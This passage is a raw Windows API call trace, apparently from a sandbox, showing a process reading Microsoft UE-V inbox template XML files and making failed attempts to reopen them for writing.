lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", lpFilePart=0x0) returned 0x4d [0075.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0075.697] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml"), fInfoLevelId=0x0, lpFileInformation=0x3561488 | out: lpFileInformation=0x3561488*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc27)) returned 1 [0075.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0075.699] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", lpFilePart=0x0) returned 0x4d [0075.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0075.699] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0075.699] GetFileType (hFile=0x790) returned 0x1 [0075.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0075.699] GetFileType (hFile=0x790) returned 0x1 [0075.700] GetFileSize (in: hFile=0x790, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0xc27 [0075.700] ReadFile (in: hFile=0x790, lpBuffer=0x35623c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x35623c8*, lpNumberOfBytesRead=0x1f9edc08*=0xc27, lpOverlapped=0x0) returned 1 [0075.711] CloseHandle (hObject=0x790) returned 1 [0076.273] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", lpFilePart=0x0) returned 0x4d [0076.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0076.273] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0076.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0076.276] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", lpFilePart=0x0) returned 0x53 [0076.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0076.276] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml"), fInfoLevelId=0x0, lpFileInformation=0x3264f58 | out: lpFileInformation=0x3264f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9eb)) returned 1 [0076.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0076.276] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", lpFilePart=0x0) returned 0x53 [0076.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0076.276] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0076.276] GetFileType (hFile=0x764) returned 0x1 [0076.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0076.276] GetFileType (hFile=0x764) returned 0x1 [0076.276] GetFileSize (in: hFile=0x764, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x9eb [0076.276] ReadFile (in: hFile=0x764, lpBuffer=0x3265c80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x3265c80*, lpNumberOfBytesRead=0x1f9edc08*=0x9eb, lpOverlapped=0x0) returned 1 [0076.281] CloseHandle (hObject=0x764) returned 1 [0076.811] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml", lpFilePart=0x0) returned 0x53 [0076.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0076.811] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0076.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0076.814] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", lpFilePart=0x0) returned 0x41 [0076.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0076.814] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml"), fInfoLevelId=0x0, lpFileInformation=0x3352ed0 | out: lpFileInformation=0x3352ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf80)) returned 1 [0076.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0076.814] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", lpFilePart=0x0) returned 0x41 [0076.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0076.814] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0076.814] GetFileType (hFile=0x6b4) returned 0x1 [0076.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0076.814] GetFileType (hFile=0x6b4) returned 0x1 [0076.814] GetFileSize (in: hFile=0x6b4, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0xf80 [0076.814] ReadFile (in: hFile=0x6b4, lpBuffer=0x3354108, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x3354108*, lpNumberOfBytesRead=0x1f9edc08*=0xf80, lpOverlapped=0x0) returned 1 [0076.816] CloseHandle (hObject=0x6b4) returned 1 [0077.173] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml", lpFilePart=0x0) returned 0x41 [0077.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0077.173] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0077.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0077.175] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", lpFilePart=0x0) returned 0x46 [0077.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0077.175] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml"), fInfoLevelId=0x0, lpFileInformation=0x33c5648 | out: lpFileInformation=0x33c5648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31)) returned 1 [0077.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0077.176] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", lpFilePart=0x0) returned 0x46 [0077.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0077.176] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0077.177] GetFileType (hFile=0x764) returned 0x1 [0077.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0077.177] GetFileType (hFile=0x764) returned 0x1 [0077.177] GetFileSize (in: hFile=0x764, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0xb31 [0077.177] ReadFile (in: hFile=0x764, lpBuffer=0x33c6458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x33c6458*, lpNumberOfBytesRead=0x1f9edc08*=0xb31, lpOverlapped=0x0) returned 1 [0077.178] CloseHandle (hObject=0x764) returned 1 [0077.423] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml", lpFilePart=0x0) returned 0x46 [0077.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0077.423] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0077.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0077.426] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", lpFilePart=0x0) returned 0x46 [0077.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0077.426] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml"), fInfoLevelId=0x0, lpFileInformation=0x32edb58 | out: lpFileInformation=0x32edb58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31)) returned 1 [0077.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0077.426] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", lpFilePart=0x0) returned 0x46 [0077.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0077.426] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0077.426] GetFileType (hFile=0x790) returned 0x1 [0077.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0077.426] GetFileType (hFile=0x790) returned 0x1 [0077.426] GetFileSize (in: hFile=0x790, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0xb31 [0077.426] ReadFile (in: hFile=0x790, lpBuffer=0x32ee968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x32ee968*, lpNumberOfBytesRead=0x1f9edc08*=0xb31, lpOverlapped=0x0) returned 1 [0077.428] CloseHandle (hObject=0x790) returned 1 [0077.966] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0078.174] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml", lpFilePart=0x0) returned 0x46 [0078.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0078.174] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0078.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0078.177] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", lpFilePart=0x0) returned 0x40 [0078.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0078.177] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml"), fInfoLevelId=0x0, lpFileInformation=0x313af00 | out: lpFileInformation=0x313af00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3bd)) returned 1 [0078.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0078.177] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", lpFilePart=0x0) returned 0x40 [0078.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0078.177] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0078.177] GetFileType (hFile=0x6b4) returned 0x1 [0078.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0078.177] GetFileType (hFile=0x6b4) returned 0x1 [0078.177] GetFileSize (in: hFile=0x6b4, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x3bd [0078.177] ReadFile (in: hFile=0x6b4, lpBuffer=0x313b578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x313b578*, lpNumberOfBytesRead=0x1f9edc08*=0x3bd, lpOverlapped=0x0) returned 1 [0078.311] CloseHandle (hObject=0x6b4) returned 1 [0078.338] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml", lpFilePart=0x0) returned 0x40 [0078.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0078.338] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0078.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0078.341] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml", lpFilePart=0x0) returned 0x48 [0078.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0078.341] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml"), fInfoLevelId=0x0, lpFileInformation=0x330af08 | out: lpFileInformation=0x330af08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51)) returned 1 [0078.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0078.341] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml", lpFilePart=0x0) returned 0x48 [0078.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0078.341] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0078.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0078.343] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml", lpFilePart=0x0) returned 0x48 [0078.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0078.343] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml"), fInfoLevelId=0x0, lpFileInformation=0x330b700 | out: lpFileInformation=0x330b700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51)) returned 1 [0078.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0078.714] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml", lpFilePart=0x0) returned 0x48 [0078.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0078.714] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0078.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0078.716] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml", lpFilePart=0x0) returned 0x4e [0078.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0078.716] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml"), fInfoLevelId=0x0, lpFileInformation=0x329aab8 | out: lpFileInformation=0x329aab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368)) returned 1 [0078.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0078.716] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: 